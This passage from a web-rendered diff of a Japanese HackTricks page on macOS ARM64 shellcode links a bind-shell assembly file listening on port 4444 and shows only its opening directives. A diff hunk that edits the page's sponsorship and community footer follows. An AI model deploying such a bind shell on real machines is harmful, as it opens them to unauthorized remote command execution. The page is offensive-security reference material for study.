バインドシェルは、[https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s) から**ポート4444**で提供されます。
|
||||
```armasm
|
||||
.section __TEXT,__text
|
||||
.global _main
|
||||
|
@ -687,8 +698,8 @@ HackTricksをサポートする他の方法:
|
|||
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローする。**
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローする。**
|
||||
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue